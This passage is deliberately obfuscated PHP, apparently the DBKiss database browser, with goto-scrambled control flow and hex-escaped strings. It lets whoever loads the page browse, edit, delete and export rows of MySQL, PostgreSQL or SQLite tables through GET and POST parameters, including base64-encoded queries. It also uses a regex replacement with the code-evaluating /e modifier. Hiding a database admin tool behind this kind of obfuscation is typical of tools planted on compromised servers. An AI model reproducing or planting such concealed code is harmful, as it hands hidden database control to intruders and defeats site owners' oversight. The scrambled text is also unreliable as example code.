$db_name_h1 ? $db_name_h1 : $db_name; goto PzWnx; umkik: if ("\x31\x32\67\56\x30\56\60\x2e\x31" == $_SERVER["\123\105\122\126\x45\122\x5f\x41\104\x44\122"] && "\x31\x32\x37\x2e\x30\x2e\60\x2e\x31" == $_SERVER["\x52\x45\x4d\117\x54\x45\137\101\104\104\122"]) { ini_set("\154\157\x67\x5f\x65\162\162\x6f\162\163", 1); ini_set("\x65\162\x72\x6f\x72\137\154\157\147", "\56\x2f\x21\x70\150\160\145\162\162\157\x72\56\x6c\157\x67"); } goto BxTIr; elK3g: function db_free($rs) { global $db_driver; if (db_is_result($rs)) { if ("\155\x79\163\x71\154" == $db_driver) { return mysql_free_result($rs); } else { if ("\160\147\x73\x71\x6c" == $db_driver) { return pg_free_result($rs); } else { if ("\163\x71\154\x69\x74\145" == $db_driver) { return 1; } } } } } goto ml69U; dk9cy: echo $_SERVER["\120\x48\x50\137\x53\105\114\x46"]; goto kmRwN; q_q9p: AutoFocus_Script(); goto XYwQG; WQ_is: function create_links($text) { $text = preg_replace("\x23\50\133\x61\x2d\172\x5d\x2b\x3a\57\x2f\x5b\x61\55\x7a\x41\x2d\132\x30\x2d\x39\134\56\x5c\x2c\134\73\x5c\x3a\134\x5b\134\135\x5c\x7b\x5c\175\x5c\55\x5c\137\x5c\x2b\134\x3d\134\x21\x5c\x40\x5c\x23\x5c\x25\134\46\134\x28\x5c\51\134\x2f\134\x3f\134\140\134\176\x5d\53\51\43\x65", "\x63\162\145\x61\164\145\x5f\x6c\x69\156\153\163\137\145\166\141\154\x28\42\134\x31\x22\51", $text); return $text; } goto SV1wk; miop5: if (!isset($db_name_style)) { $db_name_style = ''; } goto Q862g; vG8l0: ini_set("\144\x69\163\x70\x6c\x61\x79\137\145\162\x72\x6f\162\x73", 1); goto CQ0jz; ZduJP: if ("\x65\144\x69\x74\x72\x6f\167" == GET("\x61\x63\x74\x69\157\156", "\163\x74\162\x69\156\x67")) { GET("\151\x64", "\x73\164\x72\x69\x6e\147"); GET("\x70\x6b", "\x73\164\x72\151\156\147"); GET("\x74\x61\x62\154\x65", "\x73\x74\162\x69\156\x67"); POST("\144\x62\x6b\151\163\163\x5f\x61\143\164\x69\x6f\156", "\x73\164\162\151\156\x67"); function dbkiss_filter_id($id) { if (preg_match("\x23\x5e\133\137\141\55\x7a\x30\55\x39\135\133\x61\x2d\172\60\x2d\x39\137\134\x2d\x5d\x2a\44\43\151", $id)) { return $id; } return false; } if (ctype_digit($_GET["\x69\x64"])) { $_GET["\x69\x64"] = (int) $_GET["\151\144"]; } $_pk = $_GET["\160\x6b"]; $_id = DecodeRowId($_GET["\151\144"]); if (strstr($_pk, "\x3a")) { $_pkeys = explode("\72", $_pk); $pvals_temp = $_id; $_where = array(); foreach ($_pkeys as $arrKey => $key) { $_where[$key] = $pvals_temp[$arrKey]; } } else { $_pkeys = false; $_where = array($_pk => $_id); } $_GET["\164\141\142\154\x65"] = htmlspecialchars($_GET["\x74\x61\142\x6c\145"]); $_GET["\x70\153"] = htmlspecialchars($_GET["\160\x6b"]); $title_edit = sprintf("\x45\144\151\x74\x20\x28\x25\x73\x3d\45\x73\51", $_GET["\x70\153"], $_GET["\x69\144"]); $title = "\x20\46\147\x74\73\x20" . $_GET["\164\141\142\154\x65"] . "\40\46\147\x74\x3b\40" . $title_edit; if (!dbkiss_filter_id($_GET["\164\141\142\x6c\145"])) { error("\x49\156\166\x61\154\151\144\x20\x74\141\142\x6c\145\40\156\x61\155\145"); } if ($_pkeys) { foreach ($_pkeys as $key) { if (!dbkiss_filter_id($key)) { error("\x49\x6e\166\141\154\x69\144\x20\160\x6b"); } } } else { if (!dbkiss_filter_id($_pk)) { error("\111\x6e\x76\141\154\x69\x64\40\x70\x6b"); } } $row = false; if (!error()) { $table_enq = quote_table($_GET["\164\141\x62\154\x65"]); $test = db_row("\123\105\x4c\x45\x43\x54\x20\52\40\106\122\x4f\x4d\x20{$table_enq}"); if ($test) { if ($_pkeys) { foreach ($_pkeys as $key) { if (!array_key_exists($key, $test)) { error("\111\156\x76\x61\x6c\x69\144\x20\x70\153"); } } } else { if (!array_key_exists($_pk, $test)) { error("\x49\156\166\141\154\x69\x64\40\x70\153"); } } } if (!error()) { $table_enq = quote_table($_GET["\164\141\142\154\145"]); $where = db_where($_where); $query = "\x53\x45\x4c\105\103\124\x20\x2a\40\x46\122\117\115\40{$table_enq}\40{$where}"; $query = db_limit($query, 0, 2); $rows = db_list($query); if (count($rows) > 1) { error("\111\156\x76\141\x6c\151\144\40\x70\x6b\72\x20\146\x6f\x75\x6e\144\40\x6d\x6f\162\x65\x20\164\150\x61\x6e\40\157\x6e\145\40\x72\157\x77\40\x77\x69\x74\x68\40\147\151\166\x65\x6e\x20\x69\144"); } else { if (count($rows) == 0) { error("\x52\157\x77\40\156\157\164\40\146\157\x75\x6e\144"); } else { $row = $rows[0]; } } } } if ($row) { $types = table_columns($_GET["\x74\x61\x62\x6c\x65"]); } $edit_actions_assoc = array("\165\x70\x64\x61\x74\145" => "\125\x70\144\x61\164\145", "\165\x70\144\141\x74\x65\137\x70\153" => "\x4f\166\x65\162\167\x72\x69\x74\145\40\x70\153", "\x69\156\x73\x65\162\164" => "\x43\x6f\x70\x79\x20\x72\157\167\40\50\x69\156\x73\x65\162\x74\51", "\144\x65\154\145\x74\x65" => "\104\145\154\x65\164\x65"); $edit_action = $_POST["\x64\142\153\x69\163\163\x5f\141\x63\x74\151\157\x6e"]; if ("\107\x45\124" == $_SERVER["\122\105\121\x55\105\x53\x54\x5f\x4d\105\x54\x48\117\104"]) { $edit_action = array_first_key($edit_actions_assoc); $post = $row; } if ("\x50\x4f\123\x54" == $_SERVER["\x52\105\121\125\x45\x53\x54\137\x4d\105\x54\x48\117\104"]) { if (!array_key_exists($edit_action, $edit_actions_assoc)) { $edit_action = ''; error("\x49\x6e\166\x61\x6c\x69\144\x20\141\143\164\151\x6f\156"); } $post = array(); foreach ($row as $k => $v) { if (array_key_exists($k, $_POST)) { $val = (string) $_POST[$k]; if ("\156\x75\154\154" == $val || "\116\x55\x4c\x4c" == $val) { $val = null; } if ("\151\x6e\x74" == $types[$k]) { if (!strlen($val)) { $val = null; } if (!(preg_match("\x23\136\55\77\134\144\x2b\44\43", $val) || is_null($val))) { error("\45\163\72\x20\151\156\x76\x61\x6c\x69\144\40\166\x61\154\x75\145", $k); } if (!ctype_digit($val)) { $val = ParseTime($val); } } if ("\146\x6c\157\x61\164" == $types[$k]) { if (!strlen($val)) { $val = null; } $val = str_replace("\x2c", "\56", $val); if (!(is_numeric($val) || is_null($val))) { error("\45\163\x3a\x20\x69\156\x76\x61\x6c\x69\144\x20\166\x61\154\x75\145", $k); } } if ("\144\x61\x74\145\164\151\155\145" == $types[$k] || "\164\x69\155\145\163\164\x61\155\x70" == $types[$k]) { if (!strlen($val)) { $val = null; } if (!ctype_digit($val)) { $parsetime = ParseTime($val); if ($parsetime) { $val = date("\131\55\x6d\x2d\144\40\110\72\x69\x3a\163", $parsetime); } else { $val = null; } } } $post[$k] = $val; } else { error("\x4d\x69\x73\163\x69\x6e\147\x20\x6b\x65\x79\x3a\x20\45\163\40\151\x6e\x20\120\x4f\x53\124", $k); } } if ("\165\160\x64\x61\164\x65" == $edit_action) { if ($post[$_GET["\160\x6b"]] != $row[$_GET["\160\153"]]) { if (count($row) != 1) { error("\45\163\72\40\x63\x61\156\x6e\x6f\164\40\143\x68\x61\156\147\x65\40\x70\153\x20\157\x6e\x20\x55\x50\x44\x41\x54\105", $_GET["\x70\153"]); } } } if ("\165\160\144\x61\x74\145\x5f\x70\153" == $edit_action) { if ($post[$_GET["\160\x6b"]] == $row[$_GET["\160\153"]]) { error("\x25\163\72\40\x73\145\154\x65\x63\164\x65\x64\x20\141\x63\164\151\x6f\x6e\x20\117\166\x65\162\167\x72\x69\x74\145\x20\160\153\54\40\142\165\x74\x20\x70\153\x20\166\141\154\165\x65\x20\x68\x61\163\40\156\x6f\x74\40\x63\x68\141\x6e\147\x65\144", $_GET["\x70\153"]); } } if ("\x69\x6e\x73\145\162\164" == $edit_action) { if (strlen($post[$_GET["\160\x6b"]])) { $table_enq = quote_table($_GET["\164\141\142\x6c\x65"]); $pk_enq = quote_column($_GET["\x70\x6b"]); $test = db_row("\123\x45\114\105\103\x54\40\x2a\x20\106\122\x4f\x4d\40{$table_enq}\40\x57\x48\x45\x52\x45\x20{$pk_enq}\x20\75\40\45\x30", array($post[$_GET["\160\153"]])); if ($test) { error("\45\163\x3a\40\164\x68\145\x72\x65\x20\x69\x73\x20\141\154\x72\145\x61\144\171\40\x61\x20\x72\145\143\x6f\162\x64\40\x77\151\x74\150\40\164\x68\x61\x74\40\x69\144", $_GET["\160\x6b"]); } } } if (!error()) { $post2 = $post; if ("\x75\x70\144\141\164\x65" == $edit_action) { if (count($row) != 1) { unset($post2[$_GET["\160\x6b"]]); } db_update($_GET["\x74\x61\142\154\145"], $post2, $_where); if (db_error()) { error("\74\146\157\156\164\40\143\x6f\x6c\157\162\75\x22\162\145\144\x22\76\74\x62\76\x44\x42\40\145\162\x72\x6f\x72\x3c\57\x62\x3e\x3c\57\x66\x6f\156\164\76\x3a\40" . db_error()); } else { if (count($row) == 1) { redirect_ok(url(self(), array("\x69\x64" => $post[$_GET["\x70\x6b"]])), "\x52\157\x77\x20\165\x70\144\141\164\x65\x64"); } else { redirect_ok(self(), "\x52\157\x77\40\165\x70\x64\x61\x74\145\144"); } } } if ("\165\160\x64\141\164\145\x5f\160\x6b" == $edit_action) { @db_update($_GET["\x74\x61\142\x6c\x65"], $post2, $_where); if (db_error()) { error("\x3c\x66\157\x6e\164\x20\x63\x6f\154\x6f\x72\x3d\x22\x72\145\x64\x22\76\x3c\142\x3e\104\102\40\x65\162\162\x6f\x72\74\57\x62\x3e\74\x2f\x66\x6f\x6e\x74\x3e\x3a\x20" . db_error()); } else { $url = url(self(), array("\x69\x64" => $post[$_GET["\x70\x6b"]])); redirect_ok($url, "\122\x6f\167\x20\165\x70\144\x61\x74\x65\144\x20\50\160\153\40\x6f\x76\145\162\167\x72\x69\x74\164\145\x6e\51"); } } if ("\151\x6e\163\x65\x72\164" == $edit_action) { $new_id = false; if (!strlen($post2[$_GET["\160\x6b"]])) { unset($post2[$_GET["\160\x6b"]]); } else { $new_id = $post2[$_GET["\x70\x6b"]]; } @db_insert($_GET["\x74\141\x62\154\145"], $post2); if (db_error()) { error("\x3c\146\x6f\156\x74\40\143\157\x6c\157\x72\x3d\x22\x72\x65\x64\42\x3e\74\142\x3e\104\x42\40\x65\x72\162\x6f\162\74\57\142\76\x3c\57\x66\157\156\164\76\x3a\x20" . db_error()); } else { if (!$new_id) { $new_id = db_insert_id($_GET["\164\x61\x62\154\x65"], $_GET["\160\153"]); } $url = url(self(), array("\x69\x64" => $new_id)); $msg = sprintf("\x52\x6f\x77\x20\x69\156\x73\145\x72\x74\x65\144\40\x28\x25\x73\75\x25\x73\x29", $_GET["\x70\x6b"], $new_id); redirect_ok($url, $msg); } } if ("\144\145\x6c\145\x74\x65" == $edit_action) { $table_enq = quote_table($_GET["\x74\x61\142\x6c\x65"]); $pk_enq = quote_column($_GET["\160\153"]); @db_exe("\104\105\114\105\124\105\40\106\122\117\x4d\x20{$table_enq}\x20\127\110\x45\x52\105\x20{$pk_enq}\x20\75\40\45\x30", $_GET["\x69\x64"]); if (db_error()) { error("\x3c\x66\x6f\156\164\40\143\x6f\154\x6f\162\75\x22\162\x65\144\42\76\x3c\x62\76\104\x42\40\145\162\162\x6f\x72\x3c\57\x62\x3e\x3c\x2f\146\157\x6e\x74\x3e\72\40" . db_error()); } else { redirect_ok(self(), "\122\x6f\x77\x20\x64\x65\x6c\145\164\x65\x64"); } } } } rawlayout_start($_GET["\x74\141\x62\x6c\x65"] . "\40\x26\x67\x74\x3b\x20" . $title_edit); ?>
<h1><span style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</span><?php  echo $title; ?>
</h1><?php  echo error(); if ($row) { ?>
<form action="<?php  echo self(); ?>
"method="post"><div style="display:none"id="Help_naturaltime">You can use natural time strings in fields of type: int, datetime, timestamp. See <a href="javascript:popup('<?php  echo $_SERVER["\120\110\120\137\123\105\114\106"]; ?>
?action=parsetime', 550, 600)">examples</a>.</div><div style="float:left"><?php  echo radio_assoc($edit_action, $edit_actions_assoc, "\x64\x62\x6b\x69\163\x73\137\x61\143\x74\x69\157\x6e"); ?>
</div><div style="float:left;margin-left:.5em"><a href="javascript:void(0)"class="help"onclick='Tooltip(this,"Help_naturaltime")'title="Help: natural time strings"></a></div><br style="clear:both"><br><table cellspacing="1"class="ls2"><?php  foreach ($post as $k => $v) { if (is_null($v)) { $v = "\x6e\165\154\x6c"; } $v = htmlspecialchars($v); ?>
<tr><th><?php  echo $k; ?>
:</th><td><?php  if ("\x69\x6e\x74" == $types[$k]) { ?>
<input value="<?php  echo html_once($v); ?>
"name="<?php  echo $k; ?>
"size="11"><?php  } elseif ("\x63\150\x61\162" == $types[$k]) { ?>
<input value="<?php  echo html_once($v); ?>
"name="<?php  echo $k; ?>
"size="50"><?php  } elseif (in_array($types[$k], array("\x74\145\x78\164", "\x6d\x65\x64\x69\165\155\164\145\170\x74", "\154\157\156\147\x74\145\x78\x74")) || strstr($types[$k], "\142\x6c\157\142")) { ?>
<textarea name="<?php  echo $k; ?>
"cols="80"rows="<?php  echo $k == "\156\157\x74\145\x73" ? 10 : 10; ?>
"><?php  echo html_once($v); ?>
</textarea><?php  } else { ?>
<input value="<?php  echo html_once($v); ?>
"name="<?php  echo $k; ?>
"size="30"><?php  } ?>
</td><td valign="top"><?php  echo $types[$k]; ?>
</td></tr><?php  } ?>
<tr><td colspan="3"class="none"><input value="Edit"type="submit"class="button"wait="1"block="1"></td></tr></table></form><?php  } rawlayout_end(); die; } goto vd4fP; EFznG: ?>
?searchdb=1&table_filter=<?php  goto mdYHu; ngi7T: $sql_font = "\146\x6f\x6e\x74\72\x20\61\x32\x70\x78\40\x43\157\x75\162\151\x65\162\x20\116\145\x77\73"; goto JQOqo; PzWnx: ?>
</title><link href="<?php  goto ZJMce; ZWByp: AutoFocus_HelpLink(); goto Ik5bj; KP7nF: function html_once($s) { $s = str_replace(array("\x26\154\164\x3b", "\46\147\x74\73", "\46\141\x6d\x70\73\x6c\x74\x3b", "\x26\141\x6d\160\73\x67\x74\x3b"), array("\x3c", "\76", "\46\154\164\73", "\x26\147\164\x3b"), $s); return str_replace(array("\46\x6c\x74\73", "\46\147\x74\x3b", "\74", "\x3e"), array("\46\x61\155\160\x3b\154\x74\73", "\46\141\155\x70\73\x67\x74\73", "\46\x6c\164\x3b", "\x26\x67\164\73"), $s); } goto BH4pN; JkFcZ: GET("\164\x79\160\145", "\163\x74\162\151\x6e\x67"); goto NGeZL; DXqza: function array_assoc($a) { $ret = array(); foreach ($a as $v) { $ret[$v] = $v; } return $ret; } goto bbw7i; Q3336: function table_status() { global $db_driver, $db_link, $db_name; if ("\x6d\171\163\161\154" == $db_driver) { $status = array(); $status["\x74\x6f\x74\141\x6c\137\163\151\172\145"] = 0; $result = mysql_query("\123\x48\117\127\x20\124\101\x42\x4c\105\x20\x53\x54\101\x54\125\x53\x20\x46\122\x4f\x4d\40\x60{$db_name}\140", $db_link); while ($row = mysql_fetch_assoc($result)) { if (!is_numeric($row["\x44\x61\x74\x61\137\x6c\145\x6e\x67\164\x68"])) { continue; } $status["\x74\157\x74\141\x6c\x5f\x73\151\172\145"] += $row["\104\141\164\x61\x5f\x6c\145\x6e\x67\x74\x68"]; $status[$row["\x4e\141\x6d\145"]]["\163\151\x7a\x65"] = $row["\x44\141\x74\141\137\x6c\145\x6e\x67\164\150"]; $status[$row["\x4e\x61\155\145"]]["\143\x6f\165\156\164"] = $row["\x52\x6f\x77\163"]; } return $status; } else { if ("\160\x67\163\x71\x6c" == $db_driver) { $status = array(); $status["\164\x6f\164\x61\154\137\x73\151\x7a\x65"] = 0; $tables = list_tables(); if (!count($tables)) { return $status; } $tables_in = db_in_array($tables); $rels = db_list("\123\x45\114\105\x43\x54\40\x72\145\x6c\156\141\155\145\54\x20\162\145\154\164\x75\160\x6c\x65\163\x2c\40\x28\x72\145\154\x70\141\147\145\x73\72\72\x64\145\x63\x69\155\141\x6c\x20\x2b\40\x31\51\40\x2a\x20\x38\x20\52\40\62\40\52\x20\61\x30\62\x34\x20\101\x53\40\x72\x65\154\x73\x69\x7a\x65\40\x46\122\117\115\x20\160\147\137\143\x6c\141\x73\x73\40\127\110\x45\122\x45\x20\x72\145\x6c\156\x61\155\145\x20\x49\x4e\x20\x28{$tables_in}\x29"); foreach ($rels as $rel) { $status["\x74\157\164\x61\154\x5f\163\x69\172\x65"] += $rel["\162\x65\154\163\151\x7a\145"]; $status[$rel["\162\145\x6c\x6e\x61\155\x65"]]["\163\151\172\x65"] = $rel["\162\145\154\163\151\x7a\x65"]; $status[$rel["\162\145\x6c\x6e\141\x6d\x65"]]["\x63\157\165\x6e\x74"] = $rel["\162\x65\x6c\164\165\160\x6c\145\163"]; } return $status; } else { if ("\163\x71\x6c\x69\164\145" == $db_driver) { global $db_server; $status = array(); $status["\164\x6f\164\141\x6c\137\163\151\172\x65"] = filesize($db_server); return $status; } } } } goto hV7eT; NHqTT: $tables = table_filter($tables, $_GET["\164\141\142\154\x65\x5f\x66\151\154\x74\x65\162"]); goto rZoq3; rDdy0: function QuotePkeys($pkeys) { $pkeys_enq = $pkeys; unset($pkeys); if (is_array($pkeys_enq)) { $pkeys_enq = implode("\x2c", $pkeys_enq); } else { $pkeys_enq = str_replace("\72", "\54", $pkeys_enq); } $pkeys_enq = preg_replace("\43\50\134\x77\53\51\43\151", "\42\x24\x31\42", $pkeys_enq); return $pkeys_enq; } goto y7ecF; MpEBN: function array_col_match_unique($rows, $col, $pattern) { if (!array_col_match($rows, $col, $pattern)) { return false; } return count($rows) == count(array_col_values_unique($rows, $col)); } goto Ze0CO; Cz6Mi: define("\x53\121\114\137\120\117\120\125\x50\x5f\110\105\111\x47\x48\x54", 600); goto CBrcN; SkbHf: function file_ext($name) { $ext = null; if (($pos = strrpos($name, "\56")) !== false) { $len = strlen($name) - ($pos + 1); $ext = substr($name, -$len); if (!preg_match("\43\x5e\x5b\x61\55\x7a\x30\55\x39\x5d\53\44\x23\x69", $ext)) { return null; } } return $ext; } goto zXexY; O7Jk1: if (!SQLITE_USED) { ?>
<th>Size</th><?php  } goto d0IpD; a1dKD: function str_before($str, $needle) { $pos = strpos($str, $needle); if ($pos !== false) { $before = substr($str, 0, $pos); return strlen($before) ? $before : false; } else { return false; } } goto iRCBR; Nx4ZU: function export_csv($query, $separator) { ob_cleanup(); set_time_limit(0); if (!is_select($query) && !is_show($query)) { trigger_error("\145\x78\x70\x6f\162\164\137\x63\163\x76\x28\51\40\x66\x61\151\x6c\145\x64\x3a\40\156\x6f\164\40\x61\x20\x53\x45\114\105\103\x54\40\x6f\x72\x20\123\x48\117\127\x20\161\165\145\162\171\72\40" . $query, E_USER_ERROR); } $table = table_from_query($query); if (!$table) { $table = "\x75\x6e\153\x6e\x6f\x77\156"; } header("\103\141\143\x68\145\x2d\143\157\x6e\x74\162\x6f\x6c\x3a\40\x70\162\151\166\141\164\145"); header("\103\x6f\156\164\x65\156\164\55\164\171\160\x65\x3a\40\x61\x70\160\154\151\x63\x61\x74\151\x6f\x6e\57\x6f\x63\164\145\164\x2d\163\164\x72\x65\x61\155"); header("\103\157\156\x74\145\156\x74\55\104\151\163\x70\157\163\151\164\151\157\156\72\40\141\164\164\141\143\x68\155\x65\156\x74\x3b\40\146\151\154\145\x6e\141\155\x65\x3d" . $table . "\x5f" . date("\131\155\x64") . "\x2e\143\x73\x76"); $rs = db_query($query); $first = true; while ($row = db_row($rs)) { if ($first) { echo csv_row(array_keys($row), $separator); $first = false; } echo csv_row($row, $separator); flush(); } die; } goto iBynV; y7ecF: function FirstFromPkeys($pkeys) { if (is_array($pkeys)) { return $pkeys[0]; } else { $arr = explode("\72", $pkeys); return $arr[0]; } } goto smSZm; yS027: if ("\x63\x73\166" == $_GET["\x65\170\160\x6f\x72\x74"]) { export_csv(base64_decode($_GET["\x71\x75\x65\x72\171"]), $_GET["\x73\145\160\x61\162\x61\164\x6f\x72"]); } goto lPLJR; bGT_4: function AttributeValue($value) { return str_replace(array("\x22", "\x27"), array('', ''), $value); } goto NGFe7; oBsEx: function PDO_FetchAssoc($query, $params = null) { global $PDO; if (isset($params)) { $stmt = $PDO->prepare($query); $stmt->execute($params); } else { $stmt = $PDO->query($query); } $rows = $stmt->fetchAll(PDO::FETCH_NUM); $assoc = array(); $columns = null; foreach ($rows as $row) { if (!isset($columns)) { $columns = count($row); } if (1 == $columns) { $assoc[] = $row[0]; } else { if (2 == $columns) { $assoc[$row[0]] = $row[1]; } else { $assoc[$row[0]] = $row; } } } return $assoc; } goto eSitq; b3wro: function query_color($query) { $color = "\x72\145\144"; $words = array("\x53\x45\114\x45\x43\124", "\125\x50\104\101\x54\105", "\104\x45\x4c\105\x54\105", "\x46\122\117\x4d", "\114\x49\115\x49\124", "\117\x46\106\123\105\124", "\x41\x4e\104", "\114\x45\x46\124\40\112\x4f\111\116", "\x57\110\x45\x52\105", "\x53\x45\124", "\117\122\104\x45\x52\x20\x42\x59", "\107\x52\x4f\x55\x50\x20\102\x59", "\107\122\117\x55\120", "\104\111\x53\124\111\116\103\124", "\103\x4f\125\116\124", "\103\117\x55\x4e\124\134\50\134\52\134\51", "\x49\123", "\116\125\114\114", "\111\123\x20\x4e\x55\114\114", "\101\123", "\x4f\x4e", "\111\116\x53\105\122\124\x20\x49\x4e\124\x4f", "\126\101\x4c\x55\x45\123", "\102\x45\107\111\116", "\103\x4f\115\x4d\x49\x54", "\103\x41\x53\105", "\127\x48\105\x4e", "\124\110\x45\x4e", "\105\116\104", "\105\114\123\105", "\x49\116", "\116\117\124", "\114\111\113\x45", "\x49\x4c\111\113\105", "\101\123\x43", "\104\105\123\x43", "\x4c\117\127\x45\122", "\x55\x50\x50\105\x52"); $words = implode("\174", $words); $query = preg_replace("\x23\136\x28{$words}\51\x28\x5c\x73\x29\43\151", "\74\146\x6f\156\x74\x20\x63\157\154\157\x72\75\42" . $color . "\x22\x3e\x24\61\74\x2f\x66\157\x6e\x74\x3e\44\x32", $query); $query = preg_replace("\43\x28\x5c\163\x29\50{$words}\51\x24\43\151", "\44\61\74\x66\x6f\x6e\164\40\143\x6f\154\157\x72\x3d\42" . $color . "\x22\76\44\62\74\57\x66\157\156\164\76", $query); $query = preg_replace("\x23\50\133\134\163\134\50\134\x29\x2c\x5d\51\50{$words}\x29\50\133\134\163\134\50\x5c\51\54\x5d\51\43\x69", "\44\x31\74\146\157\156\164\x20\x63\157\x6c\x6f\162\75\x22" . $color . "\x22\76\x24\x32\74\57\146\157\156\164\x3e\44\63", $query); $query = preg_replace("\43\x28\133\x5c\x73\134\x28\134\x29\x2c\x5d\x29\x28{$words}\51\x28\133\x5c\x73\x5c\x28\x5c\x29\x2c\135\x29\x23\151", "\x24\x31\x3c\146\x6f\x6e\164\40\x63\157\154\x6f\162\75\42" . $color . "\x22\76\44\62\74\x2f\x66\157\156\164\x3e\44\63", $query); $query = preg_replace("\x23\136\x28{$words}\x29\44\x23\151", "\x3c\146\x6f\156\164\40\143\x6f\154\x6f\162\75\42" . $color . "\42\x3e\x24\61\x3c\x2f\x66\x6f\x6e\164\x3e", $query); preg_match_all("\x23\x3c\146\157\x6e\164\x5b\x5e\x3e\135\53\76\50" . $words . "\x29\x3c\57\x66\x6f\x6e\x74\76\43\151", $query, $matches); foreach ($matches[0] as $k => $font) { $font2 = str_replace($matches[1][$k], strtoupper($matches[1][$k]), $font); $query = str_replace($font, $font2, $query); } return $query; } goto SwYh_; BzLSD: function list_tables($views_mode = false) { global $db_driver, $db_link, $db_name; if ($views_mode && !views_supported()) { return array(); } static $cache_tables; static $cache_views; if ($views_mode) { if (isset($cache_views)) { return $cache_views; } } else { if (isset($cache_tables)) { return $cache_tables; } } static $all_tables; if ("\155\171\163\161\154" == $db_driver) { if (!isset($all_tables)) { $all_tables = db_assoc("\123\x48\x4f\127\x20\x46\125\114\x4c\40\x54\x41\x42\x4c\105\123"); } if ($views_mode) { $views = array(); foreach ($all_tables as $view => $type) { if ($type != "\x56\x49\x45\127") { continue; } $views[] = $view; } $cache_views = $views; return $views; } else { $tables = array(); foreach ($all_tables as $table => $type) { if ($type != "\102\x41\x53\x45\x20\124\x41\x42\x4c\105") { continue; } $tables[] = $table; } $cache_tables = $tables; return $tables; } } else { if ("\160\x67\163\x71\154" == $db_driver) { if (!isset($all_tables)) { $query = "\x53\x45\x4c\x45\103\124\40\x74\x61\142\x6c\x65\x5f\x6e\x61\155\x65\x2c\x20\x74\x61\142\154\145\x5f\164\x79\x70\x65\x20"; $query .= "\106\122\x4f\115\40\x69\x6e\146\x6f\162\155\x61\164\151\157\156\x5f\x73\x63\150\x65\155\141\56\x74\141\142\x6c\145\163\40"; $query .= "\x57\x48\x45\122\105\40\x74\141\142\154\145\x5f\163\143\150\145\155\x61\40\75\x20\47\x70\x75\142\x6c\151\x63\47\x20"; $query .= "\x41\x4e\104\x20\50\x74\x61\x62\154\145\137\164\x79\x70\145\40\x3d\40\x27\102\x41\123\105\40\x54\101\102\114\105\x27\40\117\122\x20\x74\141\142\x6c\x65\137\164\171\160\145\x20\x3d\x20\x27\x56\111\105\x57\47\x29\x20"; $query .= "\117\x52\104\x45\122\40\102\x59\x20\x74\141\142\x6c\145\x5f\156\x61\155\x65\40"; $all_tables = db_assoc($query); } if ($views_mode) { $views = array(); foreach ($all_tables as $view => $type) { if ($type != "\x56\111\105\x57") { continue; } $views[] = $view; } $cache_views = $views; return $views; } else { $tables = array(); foreach ($all_tables as $table => $type) { if ($type != "\102\101\123\105\40\x54\101\102\x4c\105") { continue; } $tables[] = $table; } $cache_tables = $tables; return $tables; } } else { if ("\x73\161\x6c\x69\x74\x65" == $db_driver) { if ($views_mode) { $views = PDO_FetchAssoc("\123\x45\x4c\x45\x43\x54\x20\x6e\x61\x6d\x65\x20\106\x52\x4f\115\x20\x73\161\x6c\x69\164\145\137\x6d\x61\x73\164\x65\162\40\x57\x48\x45\122\x45\40\164\171\160\145\x20\x3d\x20\x27\166\x69\x65\167\47\40\101\x4e\104\40\156\141\155\x65\40\x4e\117\124\x20\114\111\113\x45\x20\x27\163\x71\154\151\164\x65\137\x25\47\x20\x4f\122\x44\105\x52\x20\102\x59\x20\156\x61\x6d\145"); $cache_views = $views; return $views; } else { $tables = PDO_FetchAssoc("\x53\105\x4c\x45\x43\x54\40\156\141\x6d\145\x20\106\122\117\x4d\40\x73\x71\154\151\x74\x65\x5f\155\141\x73\164\145\x72\x20\x57\110\x45\x52\105\40\x74\x79\x70\145\40\x3d\40\47\164\141\x62\x6c\x65\x27\x20\x41\x4e\104\40\156\141\x6d\145\40\116\117\124\x20\114\111\x4b\x45\40\x27\x73\x71\154\151\x74\145\137\45\47\x20\117\122\x44\x45\x52\40\x42\131\x20\156\x61\x6d\145"); $cache_tables = $tables; return $tables; } } } } } goto TNHR6; aT3EN: function db_limit($query, $offset, $limit) { global $db_driver; $offset = (int) $offset; $limit = (int) $limit; $query = trim($query); if ("\73" == substr($query, -1)) { $query = substr($query, 0, -1); } $query = preg_replace("\x23\136\x28\133\x5c\163\x5c\x53\x5d\x2b\51\114\111\x4d\111\x54\134\x73\53\134\144\53\134\163\53\x4f\106\x46\123\x45\x54\134\163\x2b\134\144\x2b\x5c\163\x2a\44\x23\x69", "\x24\x31", $query); $query = preg_replace("\43\x5e\x28\x5b\134\x73\134\x53\135\x2b\51\x4c\111\115\111\x54\134\x73\53\134\x64\x2b\134\163\x2a\54\x5c\x73\52\x5c\144\53\134\163\x2a\44\x23\151", "\x24\61", $query); if ("\155\x79\x73\x71\x6c" == $db_driver) { return $query . "\40\x4c\x49\x4d\x49\x54\40{$offset}\x2c\40{$limit}"; } else { return $query . "\x20\x4c\111\x4d\111\124\x20{$limit}\x20\117\106\x46\x53\x45\124\x20{$offset}"; } } goto MsnMv; zXexY: function file_put($file, $s) { $fp = fopen($file, "\x77\142") or trigger_error("\x66\x6f\x70\145\156\x28\51\40\x66\x61\151\154\x65\x64\x3a\40" . $file, E_USER_ERROR); if ($fp) { fwrite($fp, $s); fclose($fp); } } goto sQL7v; UlPRH: $charset2[] = $page_charset; goto r2ah9; PJcCZ: unset($table); goto Po2GF; Ddh4d: global $Global_LastError; goto wEt6h; fSPvc: ?>
</b>- <a href="<?php  goto VGtD0; Ps6xc: set_error_handler("\145\162\162\157\162\x48\x61\x6e\144\154\x65\x72"); goto obGur; NtBmd: function ColumnType($type) { if ("\x76\141\x72\143\150\x61\162" == $type) { $type = "\x63\150\141\x72"; } else { if ("\x69\x6e\164\145\x67\145\162" == $type) { $type = "\x69\156\x74"; } else { if ("\x74\x69\x6e\171\151\156\164" == $type) { $type = "\151\156\164"; } else { if ("\x73\155\141\154\x6c\151\156\164" == $type) { $type = "\151\x6e\164"; } else { if ("\155\x65\144\x69\165\155\151\x6e\x74" == $type) { $type = "\x69\x6e\x74"; } else { if ("\142\151\147\x69\x6e\164" == $type) { $type = "\x69\156\164"; } } } } } } return $type; } goto mD15c; E9Po1: function cookie_get($key) { $key = COOKIE_PREFIX . $key; if (isset($_COOKIE[$key])) { return $_COOKIE[$key]; } return null; } goto Kj1y6; frLp0: GET("\161\x75\145\x72\x79", "\x73\x74\162\x69\x6e\147"); goto rjRB4; iBynV: function csv_row($row, $separator) { foreach ($row as $key => $val) { $enquote = false; if (false !== strpos($val, $separator)) { $enquote = true; } if 